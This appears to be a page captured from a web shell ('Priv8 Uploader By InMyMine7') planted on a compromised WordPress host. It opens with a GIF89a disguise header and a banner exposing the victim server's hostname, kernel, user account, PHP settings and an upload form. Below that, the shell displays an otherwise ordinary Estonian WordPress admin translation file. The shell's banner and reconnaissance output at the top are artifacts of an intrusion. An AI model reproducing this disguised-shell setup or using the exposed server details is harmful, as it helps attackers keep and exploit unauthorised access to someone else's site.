GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/languages/admin-et.po
# Translation of Administration in Estonian
# This file is distributed under the same license as the Administration package.
msgid ""
msgstr ""
"PO-Revision-Date: 2014-09-04 12:03:22+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/0.1\n"
"Project-Id-Version: Administration\n"

#: wp-admin/includes/screen.php:1049
msgctxt "Welcome panel"
msgid "Welcome"
msgstr ""

#: wp-admin/menu.php:167
msgctxt "theme editor"
msgid "Editor"
msgstr ""

#: wp-admin/plugin-install.php:101
msgctxt "plugins"
msgid "Browse"
msgstr ""

#: wp-admin/includes/class-wp-ms-users-list-table.php:98
#: wp-admin/includes/class-wp-users-list-table.php:156
msgctxt "users"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] ""
msgstr[1] ""

#: wp-admin/edit-link-form.php:94
#: wp-admin/includes/class-wp-links-list-table.php:91
msgctxt "link name"
msgid "Name"
msgstr ""

#. translators: comment type radio button
#: wp-admin/edit-form-comment.php:90
msgctxt "adjective"
msgid "Pending"
msgstr ""

#: wp-admin/credits.php:182
msgid "Release Lead"
msgstr "Versiooni juht"

#: wp-admin/upload.php:45
msgid "Use the arrow buttons at the top of the dialog, or the left and right arrow keys on your keyboard, to navigate between media items quickly."
msgstr "Meediaelementide vahel liikumiseks kasuta dialoogi ülaservas olevaid noolenuppe või klaviatuuri vasakule-paremale nooleklahve."

#: wp-admin/upload.php:36 wp-admin/upload.php:202
msgid "You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media."
msgstr "Sa võid oma meediat vaata lihtsa ruudustikuna või veergudega nimistuna. Vaadet saad vahetada ikoonidega mis asuvad meedia kohal vasakul."

#: wp-admin/upload.php:37
msgid "To delete media items, click the Bulk Select button at the top of the screen. Select any items you wish to delete, then click the Delete Selected button. Clicking the Cancel Selection button takes you back to viewing your media."
msgstr "Meediaelementide kustutamiseks klõpsa Hulgivaliku nuppu ekraani ülaservas. Vali elemendid mida soovid kustutada, seejärel klõpsa nuppu Kustuta valitud. Klõpsates nuppu Tühista valik saad minna tagasi meediat vaatama."

#: wp-admin/upload.php:44
msgid "Clicking an item will display an Attachment Details dialog, which allows you to preview media and make quick edits. Any changes you make to the attachment details will be automatically saved."
msgstr "Elemendile klikkides kuvatakse Manuse info dialoog, mis kuvab meedia eelvaadet ja lubab teha muudatusi. Kõik tehtud muudatused salvestatakse automaatselt."

#: wp-admin/upload.php:46
msgid "You can also delete individual items and access the extended edit screen from the details dialog."
msgstr "Manuse info dialoogist saad ka elemente ükshaaval kustutada ning pääsed ligi põhjalikuma toimetamise lehele."

#: wp-admin/about.php:30 wp-admin/credits.php:85 wp-admin/freedoms.php:22
msgid "Thank you for updating! WordPress %s brings you a smoother writing and management experience."
msgstr "Tänud uuendamast! WordPress %s pakus sulle sujuvamat kogemust nii kirjutamisel kui sisu haldamisel."

#: wp-admin/about.php:65
msgid "Manage your media with style"
msgstr "Stiilsem meediahaldus"

#: wp-admin/about.php:66
msgid "Explore your uploads in a beautiful, endless grid. A new details preview makes viewing and editing any amount of media in sequence a snap."
msgstr "Sirvi meediateeki kasutades kena, lõputa ruudustikuvaadet. Elemendi detailvaade muudab ka suurema meediahulgaga toimetamise lihtsaks."

#: wp-admin/about.php:92
msgid "Working with embeds has never been easier"
msgstr "Lihtsam meedia lisamine postitustesse"

#: wp-admin/about.php:93
msgid "Paste in a YouTube URL on a new line, and watch it magically become an embedded video. Now try it with a tweet. Oh yeah &#8212; embedding has become a visual experience. The editor shows a true preview of your embedded content, saving you time and giving you confidence."
msgstr "Kleebi YouTube'i URL uuele reale ... ja see muutub maagiliselt videoks. Nüüd proovi sama twiidiga. Meedia manustamisest on saanud visuaalse redaktori osa ja eelvaate nägemiseks ei ole enam vaja postitust salvestada."

#: wp-admin/about.php:94
msgid "We&#8217;ve expanded the services supported by default, too &#8212; you can embed videos from CollegeHumor, playlists from YouTube, and talks from TED. <a href=\"http://codex.wordpress.org/Embeds\">Check out all of the embeds</a> that WordPress supports."
msgstr "Oleme laiendanud ka toetatud teenuste hulka &#8212; nüüd saab manustada CollegeHumori videoid, YouTube pleiliste ja TEDi ettekandeid. <a href=\"http://codex.wordpress.org/Embeds\">Tutvu kõigi teenuste nimekirjaga</a> mida WordPress toetab."

#: wp-admin/about.php:102
msgid "Focus on your content"
msgstr "Keskendu sisule"

#: wp-admin/about.php:103
msgid "Writing and editing is smoother and more immersive with an editor that expands to fit your content as you write, and keeps the formatting tools available at all times."
msgstr "Kirjutamine ja toimetamine on sujuvam sest redaktoriala suureneb teksti pikenedes ning hoiab tööriistariba alati nähtaval."

#: wp-admin/about.php:129
msgid "Finding the right plugin"
msgstr "Leia õige plugin"

#: wp-admin/about.php:130
msgid "There are more than 30,000 free and open source plugins in the WordPress plugin directory. WordPress 4.0 makes it easier to find the right one for your needs, with new metrics, improved search, and a more visual browsing experience."
msgstr "WordPressi pluginateegist leiab üle 30 000 vaba ja avatud lähtekoodiga plugina. WordPress 4.0 teeb nende hulgast õige leidmise lihtsamaks uute mõõdikute, parema otsingu ja visuaalse sirvimisvõimalusega."

#: wp-admin/about.php:131
msgid "Browse plugins"
msgstr "Sirvi pluginaid"

#: wp-admin/about.php:143
msgid "Customizer API"
msgstr "Kohandamise API"

#: wp-admin/about.php:144
msgid "Contexts, panels, and a wider array of controls are now supported in the customizer."
msgstr "Kohandamise tööriist toetab nüüd kontekste, paneele ja suuremat hulka komponente."

#: wp-admin/about.php:147
msgid "Query Ordering"
msgstr "Päringute järjestamine"

#. translators: 1: "ORDER BY" (SQL), 2: "WP_Query"
#: wp-admin/about.php:150
msgid "Developers have more flexibility creating %1$s clauses through %2$s."
msgstr "Arendajatel on nüüd rohkem %1$s võimalusi %2$s kasutamisel."

#: wp-admin/about.php:155
msgid "Updated libraries: TinyMCE&nbsp;4.1.3, jQuery&nbsp;1.11.1, MediaElement&nbsp;2.15."
msgstr "Uuendatud teegid: TinyMCE&nbsp;4.1.3, jQuery&nbsp;1.11.1, MediaElement&nbsp;2.15."

#: wp-admin/plugin-install.php:78
msgid "If you just want to get an idea of what&#8217;s available, you can browse Featured and Popular plugins by using the links in the upper left of the screen. These sections rotate regularly."
msgstr "Kui soovid saada aimu pakutavast võid sirvida Erilisi või Enimkasutatuid kasutades lehe vasakus ülaservas olevaid linke. Nendes valikutes kuvatavat uuendatakse regulaarselt."

#: wp-admin/upload.php:35
msgid "All the files you&#8217;ve uploaded are listed in the Media Library, with the most recent uploads listed first."
msgstr "Kõik üleslaetud failid leiab Meediateegist, alustades viimati laetutest."

#: wp-admin/plugin-install.php:48
msgid "Add Plugins"
msgstr "Lisa pluginaid"

#: wp-admin/includes/translation-install.php:23
msgid "Invalid translation type."
msgstr "Vale tõlketüüp."

#: wp-admin/options-general.php:334
msgid "Note:"
msgstr "Märkus:"

#: wp-admin/options-general.php:334 wp-admin/options-general.php:338
msgid "The %s constant in your %s file is no longer needed."
msgstr "%s konstant %s failis pole enam vajalik."

#: wp-admin/includes/class-wp-media-list-table.php:64
msgctxt "uploaded files"
msgid "All (%s)"
msgid_plural "All (%s)"
msgstr[0] "Kõik (%s)"
msgstr[1] "Kõik (%s)"

#: wp-admin/includes/class-wp-media-list-table.php:75
msgctxt "detached files"
msgid "Unattached (%s)"
msgid_plural "Unattached (%s)"
msgstr[0] "Manustamata (%s)"
msgstr[1] "Manustamata (%s)"

#: wp-admin/includes/class-wp-media-list-table.php:78
msgctxt "uploaded files"
msgid "Trash (%s)"
msgid_plural "Trash (%s)"
msgstr[0] "Prügi (%s)"
msgstr[1] "Prügi (%s)"

#: wp-admin/install.php:216
msgid "Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world."
msgstr "Tere tulemast WordPressi kuulsasse viie-minuti-paigaldusse! Täida allolevad lahtrid ja varsti oledki kasutamas maailma kõige võimsamat ja paindlikumat personaalset publitseerimisplatvormi."

#: wp-admin/includes/class-wp-plugin-install-list-table.php:472
msgid "<strong>Untested</strong> with your version of WordPress"
msgstr "<strong>Testimata</strong> sinu WordPressi versiooniga"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:474
msgid "<strong>Incompatible</strong> with your version of WordPress"
msgstr "<strong>Ei ühildu</strong> sinu WordPressi versiooniga"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:476
msgid "<strong>Compatible</strong> with your version of WordPress"
msgstr "<strong>Sobib</strong> sinu WordPressi versiooniga"

#: wp-admin/includes/plugin-install.php:464
msgid "%d star"
msgid_plural "%d stars"
msgstr[0] "%d täht"
msgstr[1] "%d tähte"

#: wp-admin/includes/class-wp-list-table.php:396
msgid "Select bulk action"
msgstr "Vali masstegevus"

#: wp-admin/includes/screen.php:977
msgid "Expand the editor to match the window height."
msgstr "Suurenda redaktorit sobimaks akna kõrgusega."

#: wp-admin/includes/template.php:737
msgid "Month"
msgstr "Kuu"

#: wp-admin/includes/template.php:746
msgid "Day"
msgstr "Päev"

#: wp-admin/includes/template.php:748
msgid "Hour"
msgstr "Tund"

#: wp-admin/includes/template.php:749
msgid "Minute"
msgstr "Minut"

#: wp-admin/setup-config.php:137
msgid "We&#8217;re going to use this information to create a <code>wp-config.php</code> file."
msgstr "Kasutame seda infot <code>wp-config.php</code> faili loomiseks."

#: wp-admin/theme-install.php:82
msgid "You can Search for themes by keyword, author, or tag, or can get more specific and search by criteria listed in the feature filter. Alternately, you can browse the themes that are Featured, Popular, or Latest. When you find a theme you like, you can preview it or install it."
msgstr "Teemasid saab otsida võtmesõna, autori või sildi järgi, lisaks võib täpsemal otsingul kasutada otsingufiltrit. Teise võimalusena saab sirvida teemasid eri valdkondadest - valikteemad, uusimad või hiljuti uuendatud teemad. Sobiva teema leidmisel saab seda eelvaadelda või ka kohe paigaldada."

#: wp-admin/theme-install.php:224
msgctxt "theme"
msgid "Already Installed"
msgstr "Juba paigaldatud"

#: wp-admin/theme-install.php:232
msgctxt "Button label for a theme"
msgid "Previous"
msgstr "On juba paigaldatud"

#: wp-admin/theme-install.php:233
msgctxt "Button label for a theme"
msgid "Next"
msgstr "Järgmine"

#: wp-admin/update-core.php:179
msgid "BETA TESTERS:"
msgstr "BEETATESTIJAD:"

#: wp-admin/update-core.php:179
msgid "This site is set up to install updates of future beta versions automatically."
msgstr "See veeb on seadistatud tulevaste beetaversioonide uuendusi automaatselt paigaldama."

#: wp-admin/upload.php:70
msgid "The grid view for the Media Library requires JavaScript. <a href=\"upload.php?mode=list\">Switch to the list view</a>."
msgstr "Meediateegi ruudustiku-vaade eeldab JavaScripti. <a href=\"upload.php?mode=list\">Kasuta nimekirja-vaadet</a>."

#: wp-admin/user-new.php:310 wp-admin/user-new.php:423
msgid "Add the user without sending an email that requires their confirmation."
msgstr "Lisa kasutaja ilma kinnitus-eposti saatmata."

#: wp-admin/includes/class-wp-upgrader.php:2444
msgid "The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working."
msgstr "WordPressi meeskond on valmis sind aitama. Saada see kiri edasi aadressile %s ja panema koos sinu saidi toimima."

#: wp-admin/includes/ajax-actions.php:2674
msgid "%s failed to embed."
msgstr "%s manustamine ebaõnnestus."

#: wp-admin/includes/ajax-actions.php:2704
msgid "Preview not available. %s cannot be embedded securely."
msgstr "Eelvaade pole saadaval. %s turvaline manustamine pole võmalik."

#: wp-admin/includes/class-wp-list-table.php:668
msgid "Select Page"
msgstr "Vali leht"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:69
msgctxt "Plugin Installer"
msgid "Beta Testing"
msgstr "Beeta-testimine"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:338
msgctxt "Plugin installer group title"
msgid "Performance"
msgstr "Jõudlus"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:339
msgctxt "Plugin installer group title"
msgid "Social"
msgstr "Suhtlus"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:340
msgctxt "Plugin installer group title"
msgid "Tools"
msgstr "Tööriistad"

#. translators: 1: Plugin name and version.
#: wp-admin/includes/class-wp-plugin-install-list-table.php:394
msgid "Install %s now"
msgstr "Paigalda %s"

#. translators: 1: Plugin name and version
#: wp-admin/includes/class-wp-plugin-install-list-table.php:401
msgid "Update %s now"
msgstr "Uuenda %s"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:416
msgid "More Details"
msgstr "Täpsem teave"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:467
msgid "%s download"
msgid_plural "%s downloads"
msgstr[0] "%s allalaadimine"
msgstr[1] "%s allalaadimist"

#: wp-admin/includes/class-wp-plugins-list-table.php:529
msgid "View details"
msgstr "Vaata üksikasju"

#: wp-admin/includes/class-wp-terms-list-table.php:140
msgctxt "Number/count of items"
msgid "Count"
msgstr "Kogus"

#: wp-admin/includes/class-wp-theme-install-list-table.php:47
msgctxt "themes"
msgid "Recently Updated"
msgstr "Hiljuti uuendatud"

#: wp-admin/includes/class-wp-upgrader.php:2609
msgid ""
"\n"
"UPDATE LOG\n"
"=========="
msgstr ""
"\n"
"UUENDUSTE LOGI\n"
"==============="

#: wp-admin/includes/plugin-install.php:355
msgctxt "Plugin installer section title"
msgid "Reviews"
msgstr "Arvustused"

#: wp-admin/includes/plugin-install.php:447
#: wp-admin/includes/plugin-install.php:495
msgid "Donate to this plugin &#187;"
msgstr "Anneta sellele pluginale &#187;"

#: wp-admin/includes/plugin-install.php:463
msgid "Click to see reviews that provided a rating of %d star"
msgid_plural "Click to see reviews that provided a rating of %d stars"
msgstr[0] "Klõpsa nägemaks arvustusi mis andsid hindeks %d tähe"
msgstr[1] "Klõpsa nägemaks arvustusi mis andsid hindeks %d tähte"

#: wp-admin/includes/plugin-install.php:475
msgid "Contributors"
msgstr "Kaasautorid"

#: wp-admin/customize.php:157
msgid "The Customizer allows you to preview changes to your site before publishing them. You can also navigate to different pages on your site to preview them."
msgstr "Kohandaja lubab tehtud muudatusi eelvaadelda ilma neid avaldamata. Muuhulgas on võimalik saidis ringi liikuda ja kontrollida erinevate lehtede kujundusega."

#: wp-admin/includes/class-wp-upgrader.php:2457
msgid "If you reach out to us, we'll also ensure you'll never have this problem again."
msgstr "Lubame, et kui pöördud meie poole teeme nii, et see probleem ei kordu."

#: wp-admin/includes/template.php:2031
msgid "New Feature: Live Widget Previews"
msgstr "Uus: moodulite eelvaade"

#: wp-admin/includes/template.php:2032
msgid "Add, edit, and play around with your widgets from the theme customizer."
msgstr "Mooduleid saab nüüd lisada, muuta ja järjestada teema kohandamise vaates."

#: wp-admin/includes/template.php:2032
msgid "Preview your changes in real-time and only save them when you&#8217;re ready."
msgstr "Eelvaatle tehtud muudatusi ning salvesta need alles siis, kui oled tulemusega rahul."

#: wp-admin/theme-install.php:257
msgid "No ratings."
msgstr "Hinnangud puuduvad."

#: wp-admin/theme-install.php:175
msgid "Filtering by:"
msgstr "Filtreeritud:"

#: wp-admin/theme-install.php:184 wp-admin/themes.php:238
msgid "No themes found. Try a different search."
msgstr "Ühtki teemat ei leitud. Proovi mõnda muud otsingut."

#: wp-admin/includes/image-edit.php:83
msgid "To crop the image, click on it and drag to make your selection."
msgstr "Pildi kadreerimiseks vali sobiv ala klõpsates ja lohistades."

#: wp-admin/includes/image-edit.php:44
msgid "You can proportionally scale the original image. For best results, scaling should be done before you crop, flip, or rotate. Images can only be scaled down, not up."
msgstr "Sa saad muuta pildi väiksemaks, säilitades proportsioonid. Parima tulemuse saad, kui muudad suurus enne kadreerimist, peegeldamist või pööramist. Pilte suuremaks teha ei saa."

#: wp-admin/edit-comments.php:124
msgid "A red bar on the left means the comment is waiting for you to moderate it."
msgstr "Punane joon vasakus servas tähendab, et see kommentaar ootab modereerimist."

#: wp-admin/edit-form-advanced.php:282
msgid "Keyboard users: When you&#8217;re working in the visual editor, you can use <kbd>Alt + F10</kbd> to access the toolbar."
msgstr "Klaviatuuri kasutajad: Kui töötad visuaalredaktoris saad kasutada <kbd>Alt + F10</kbd> tööriistariba väljakutsumiseks."

#: wp-admin/includes/image-edit.php:86
msgid "The aspect ratio is the relationship between the width and height. You can preserve the aspect ratio by holding down the shift key while resizing your selection. Use the input box to specify the aspect ratio, e.g. 1:1 (square), 4:3, 16:9, etc."
msgstr "Pildi proportsioon on selle kõrguse ja laiuse suhe. Proportsiooni säilitamiseks hoia suuruse muutmise ajal alla shift-klahvi. Valikust võid määrata soovitud proportsiooni, nt 1:1 (ruut), 4:3, 16:9."

#: wp-admin/includes/image-edit.php:89
msgid "Once you have made your selection, you can adjust it by entering the size in pixels. The minimum selection size is the thumbnail size as set in the Media settings."
msgstr "Kui oled ala valinud saad muuta selle suurust sisestades mõõdud pikslites. Väikseim lubatud valikusuurus on Meedia seadete all määratud Pisipildi suurus."

#: wp-admin/includes/image-edit.php:119
msgid "You can edit the image while preserving the thumbnail. For example, you may wish to have a square thumbnail that displays just a section of the image."
msgstr "Sa võid muuta pilti, säilitades seejuures pisipildi. Näiteks võid soovida ruudukujulist pisipilti, mis sisaldab vaid osa pildist."

#: wp-admin/includes/media.php:2691
msgid "Displayed on attachment pages."
msgstr "Kuvatakse manuselehel."

#: wp-admin/theme-install.php:126
msgctxt "themes"
msgid "Browse"
msgstr ""

#: wp-admin/includes/class-wp-comments-list-table.php:246
msgid "All comment types"
msgstr "Kõik kommentaaritüübid"

#. translators: 1: relative date, 2: time, 3: post title
#: wp-admin/includes/dashboard.php:724
msgid "<span>%1$s, %2$s</span> %3$s"
msgstr "<span>%1$s, %2$s</span> %3$s"

#: wp-admin/includes/class-wp-theme-install-list-table.php:44
#: wp-admin/theme-install.php:140
msgctxt "themes"
msgid "Featured"
msgstr "Esiletoodud"

#: wp-admin/theme-install.php:141
msgctxt "themes"
msgid "Popular"
msgstr "Populaarsed"

#: wp-admin/includes/class-wp-theme-install-list-table.php:46
#: wp-admin/theme-install.php:142
msgctxt "themes"
msgid "Latest"
msgstr "Uusimad"

#: wp-admin/users.php:46
msgid "Remove allows you to remove a user from your site. It does not delete their content. You can also remove multiple users at once by using Bulk Actions."
msgstr "Eemalda võimaldab sul veebikasutajaid kustutada, jättes alles tema loodud sisu. Samas saad  Masstegevuse abil eemaldada ka korraga mitmeid kasutajaid."

#: wp-admin/includes/upgrade.php:280
msgid ""
"Your new WordPress site has been successfully set up at:\n"
"\n"
"%1$s\n"
"\n"
"You can log in to the administrator account with the following information:\n"
"\n"
"Username: %2$s\n"
"Password: %3$s\n"
"\n"
"We hope you enjoy your new site. Thanks!\n"
"\n"
"--The WordPress Team\n"
"https://wordpress.org/\n"
msgstr ""
"Sinu uus WordPressi veebileht on edukalt paigas aadressil:\n"
"\n"
"%1$s\n"
"\n"
"Võid haldurina sisse logida, kasutades järgnevat informatsiooni:\n"
"\n"
"Kasutajanimi: %2$s\n"
"Salasõna: %3$s\n"
"\n"
"Loodetavasti oled enda uue veebilehega rahul. Täname!\n"
"\n"
"-- WordPressi tegijad\n"
"https://wordpress.org/\n"

#: wp-admin/index.php:57
msgid "<strong>Box Controls</strong> - Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a &#8220;Configure&#8221; link in the title bar if you hover over it."
msgstr "<strong> Elementide sätted</strong> – kõiki ekraanielemente saad pealkirjaribal klõpsates avada ja sulgeda. Mõnel vidinal on ka muid sätteid – sel juhul on pealkirja ribal näha hõljukviide “Seadista”."

#: wp-admin/index.php:67
msgid "<strong>At A Glance</strong> - Displays a summary of the content on your site and identifies which theme and version of WordPress you are using."
msgstr "<strong>Ülevaade</strong> - Kuvab kokkuvõtte sinu saidi sisust ja näitab kasutuselolevat teemat ning WordPressi versiooni."

#: wp-admin/maint/repair.php:103
msgid "https://wordpress.org/support/forum/how-to-and-troubleshooting"
msgstr "https://wordpress.org/support/forum/how-to-and-troubleshooting"

#: wp-admin/revision.php:78
msgid "&larr; Return to post editor"
msgstr "&larr; Tagasi redaktorisse"

#: wp-admin/theme-install.php:23
msgid "Add Themes"
msgstr "Lisa teemasid"

#: wp-admin/theme-install.php:31
msgid "Featured Themes"
msgstr "Esiletoodud teemad"

#: wp-admin/theme-install.php:32
msgid "Popular Themes"
msgstr "Populaarsed teemad"

#: wp-admin/theme-install.php:33
msgid "Newest Themes"
msgstr "Uusimad teemad"

#: wp-admin/theme-install.php:53
msgid "Search Themes"
msgstr "Otsi teemasid"

#: wp-admin/theme-install.php:54
msgid "Search themes..."
msgstr "Otsi teemasid..."

#: wp-admin/theme-install.php:214
msgctxt "theme"
msgid "Details &amp; Preview"
msgstr "Teave &amp; eelvaade"

#: wp-admin/users.php:48
msgid "Delete brings you to the Delete Users screen for confirmation, where you can permanently remove a user from your site and delete their content. You can also delete multiple users at once by using Bulk Actions."
msgstr "Kustuta viib su kinnituse küsimiseks Kasutajate kustutamise vaatesse, kus saad jäädaval kasutaja eemaldada ja tema lisatud sisu kustutada. Kasutades Masstegevusi saad korraga kustutada ka mitmeid kasutajaid."

#: wp-admin/users.php:239
msgid "What should be done with content owned by this user?"
msgid_plural "What should be done with content owned by these users?"
msgstr[0] "Mida teha selle kasutaja loodud sisuga?"
msgstr[1] "Mida teha nende kasutajate loodud sisuga?"

#: wp-admin/users.php:242
msgid "Delete all content."
msgstr "Kustuta kogu sisu."

#: wp-admin/users.php:244
msgid "Attribute all content to:"
msgstr "Omista kogu sisu kasutajale:"

#: wp-admin/includes/ajax-actions.php:1644
msgid "Type"
msgstr "Tüüp"

#: wp-admin/admin-footer.php:29
msgid "Thank you for creating with <a href=\"%s\">WordPress</a>."
msgstr "Aitäh, et kasutad <a href=\"%s\">WordPressi</a>."

#: wp-admin/comment.php:59 wp-admin/custom-background.php:151
#: wp-admin/custom-header.php:192 wp-admin/edit-comments.php:136
#: wp-admin/edit-form-advanced.php:294 wp-admin/edit-form-advanced.php:310
#: wp-admin/edit-form-advanced.php:326 wp-admin/edit-link-form.php:66
#: wp-admin/edit-tags.php:237 wp-admin/edit.php:206 wp-admin/edit.php:227
#: wp-admin/export.php:56 wp-admin/import.php:29 wp-admin/index.php:89
#: wp-admin/link-manager.php:61 wp-admin/media-new.php:57 wp-admin/media.php:84
#: wp-admin/my-sites.php:49 wp-admin/nav-menus.php:545
#: wp-admin/options-discussion.php:27 wp-admin/options-general.php:80
#: wp-admin/options-media.php:35 wp-admin/options-permalink.php:46
#: wp-admin/options-reading.php:72 wp-admin/options-writing.php:52
#: wp-admin/plugin-editor.php:142 wp-admin/plugin-install.php:86
#: wp-admin/plugins.php:360 wp-admin/revision.php:120
#: wp-admin/theme-editor.php:43 wp-admin/theme-install.php:104
#: wp-admin/themes.php:86 wp-admin/tools.php:29 wp-admin/update-core.php:490
#: wp-admin/upload.php:52 wp-admin/upload.php:220 wp-admin/user-edit.php:54
#: wp-admin/user-new.php:185 wp-admin/users.php:63 wp-admin/widgets.php:74
msgid "<a href=\"https://wordpress.org/support/\" target=\"_blank\">Support Forums</a>"
msgstr "<a href=\"https://wordpress.org/support/\" target=\"_blank\">Tugifoorumid (inglise keeles)</a>"

#. translators: URL to the Make WordPress 'Get Involved' landing page used on
#. the credits page
#: wp-admin/credits.php:164
msgid "https://make.wordpress.org/"
msgstr "https://make.wordpress.org/"

#: wp-admin/includes/class-wp-upgrader.php:2591
msgid ""
"\n"
"BETA TESTING?\n"
"=============\n"
"\n"
"This debugging email is sent when you are using a development version of WordPress.\n"
"\n"
"If you think these failures might be due to a bug in WordPress, could you report it?\n"
" * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta\n"
" * Or, if you're comfortable writing a bug report: http://core.trac.wordpress.org/\n"
"\n"
"Thanks! -- The WordPress Team"
msgstr ""
"\n"
"KAS TEGELED BEETA-TESTIMISEGA?\n"
"==============================\n"
"\n"
"See veaotsimise-kiri saadetakse juhul, kui kasutad WordPressi arendus-versiooni.\n"
"\n"
"Kui sulle tundub, et need probleemid võivad viidata WordPressi bugile, siis vahest leiad hetke aega neist teada anda?\n"
" * Loo uus teema tugifoorumis: https://wordpress.org/support/forum/alphabeta\n"
" * Või, kui see sulle sobib, kirjuta kohe vearaport: http://core.trac.wordpress.org/\n"
"\n"
"Tänud! -- WordPressi meeskond"

#: wp-admin/includes/dashboard.php:1318
msgid "Manage widgets"
msgstr "Halda mooduleid"

#: wp-admin/includes/dashboard.php:1320
msgid "Manage menus"
msgstr "Halda menüüsid"

#: wp-admin/includes/meta-boxes.php:92
msgid "Edit status"
msgstr "Muuda staatust"

#: wp-admin/includes/meta-boxes.php:138
msgid "Edit visibility"
msgstr "Muuda nähtavust"

#: wp-admin/includes/meta-boxes.php:198
msgid "Browse revisions"
msgstr "Sirvi versioone"

#: wp-admin/includes/meta-boxes.php:206
msgid "Edit date and time"
msgstr "Muuda kuupäeva ja kellaaega"

#: wp-admin/themes.php:107
msgid "Search installed themes..."
msgstr "Otsi paigaldatud teemade hulgast..."

#: wp-admin/update-core.php:466
msgid "If an update is available, you&#8127;ll see a notification appear in the Toolbar and navigation menu."
msgstr "Kui mõni uuendus on saadaval, näed teavitust Tööriistaribal ja navigatsioonimenüüs."

#: wp-admin/update-core.php:474
msgid "<strong>WordPress</strong> &mdash; Updating your WordPress installation is a simple one-click procedure: just <strong>click on the &#8220;Update Now&#8221; button</strong> when you are notified that a new version is available."
msgstr "<strong>WordPress</strong> &mdash; WordPressi uuendamine on lihtne ühe-kliki-töö: lihtsalt <strong>klõpsa &#8220;Uuenda kohe&#8221; nuppu</strong> kui näed teavitust uue versiooni saadavalolekust."

#: wp-admin/update-core.php:474
msgid "In most cases, WordPress will automatically apply maintenance and security updates in the background for you."
msgstr "Enamus juhtudel paigaldab WordPress kõik turva- ning hooldusuuendused automaatselt taustal."

#: wp-admin/update-core.php:478
msgid "<strong>Translations</strong> &mdash; The files translating WordPress into your language are updated for you whenever any other updates occur. But if these files are out of date, you can <strong>click the &#8220;Update Translations&#8221;</strong> button."
msgstr "<strong>Tõlked</strong> &mdash; Tõlkefaile uuendatakse alati koos WordPressiga, aga vajadusel saad neid järgi aidata <strong>klõpsates &#8220;Uuenda tõlkeid&#8221;</strong> nuppu."

#: wp-admin/update-core.php:465
msgid "On this screen, you can update to the latest version of WordPress, as well as update your themes and plugins from the WordPress.org repositories."
msgstr "Sellel lehel saad uuendada WordPressi värskeimale versioonile, samuti uuendada teemasid ja pluginaid."

#: wp-admin/update-core.php:475
msgid "<strong>Themes and Plugins</strong> &mdash; To update individual themes or plugins from this screen, use the checkboxes to make your selection, then <strong>click on the appropriate &#8220;Update&#8221; button</strong>. To update all of your themes or plugins at once, you can check the box at the top of the section to select all before clicking the update button."
msgstr "<strong>Teemad ja pluginad</strong> &mdash; Teemade või pluginate uuendamiseks vali need vastavate märkeruutudega ning <strong>klõpsa vastaval &#8220;Uuenda&#8221; nupul</strong>. Kõigi teemade või pluginate valimiseks kasuta nimistu kohal olevat märkeruutu."

#: wp-admin/about.php:28
msgid "Welcome to WordPress&nbsp;%s"
msgstr "Tere tulemast WordPressi versiooni&nbsp;%s"

#: wp-admin/themes.php:59
msgid "If you would like to see more themes to choose from, click on the &#8220;Add New&#8221; button and you will be able to browse or search for additional themes from the <a href=\"%s\" target=\"_blank\">WordPress.org Theme Directory</a>. Themes in the WordPress.org Theme Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they&#8217;re free!"
msgstr "Kui soovid valida suurema hulga teemade seast, klõpsa &#8220;Lisa uus&#8221; ning sirvi <a href=\"%s\" target=\"_blank\">WordPress.org Theme Directory</a> pakutavat. Need teemad on disaininud ja arendanud kolmandad osapooled, aga nende litsents sobib kokku WordPressi omaga... ja nad on saadaval täiesti tasuta!"

#: wp-admin/includes/theme.php:196
msgid "Fixed Layout"
msgstr "Fikseeritud paigutus"

#: wp-admin/includes/theme.php:197
msgid "Fluid Layout"
msgstr "Liikuv (fluid) paigutus"

#: wp-admin/includes/theme.php:198
msgid "Responsive Layout"
msgstr "Kohanduv (responsive) paigutus"

#: wp-admin/includes/dashboard.php:222
msgid "%s Post"
msgid_plural "%s Posts"
msgstr[0] "%s postitus"
msgstr[1] "%s postitust"

#: wp-admin/includes/dashboard.php:224
msgid "%s Page"
msgid_plural "%s Pages"
msgstr[0] "%s leht"
msgstr[1] "%s lehte"

#: wp-admin/includes/dashboard.php:239
msgid "%s Comment"
msgid_plural "%s Comments"
msgstr[0] "%s kommentaar"
msgstr[1] "%s kommentaari"

#. translators: Number of comments in moderation
#: wp-admin/includes/dashboard.php:245
msgctxt "comments"
msgid "%s in moderation"
msgid_plural "%s in moderation"
msgstr[0] "%s modereerimisel"
msgstr[1] "%s modereerimisel"

#. translators: date and time format for recent posts on the dashboard, see
#. http:php.net/date
#: wp-admin/includes/dashboard.php:715
msgid "M jS"
msgstr "j.d.Y"

#. translators: 1: relative date, 2: time, 3: post edit link, 4: post title
#: wp-admin/includes/dashboard.php:720
msgid "<span>%1$s, %2$s</span> <a href=\"%3$s\">%4$s</a>"
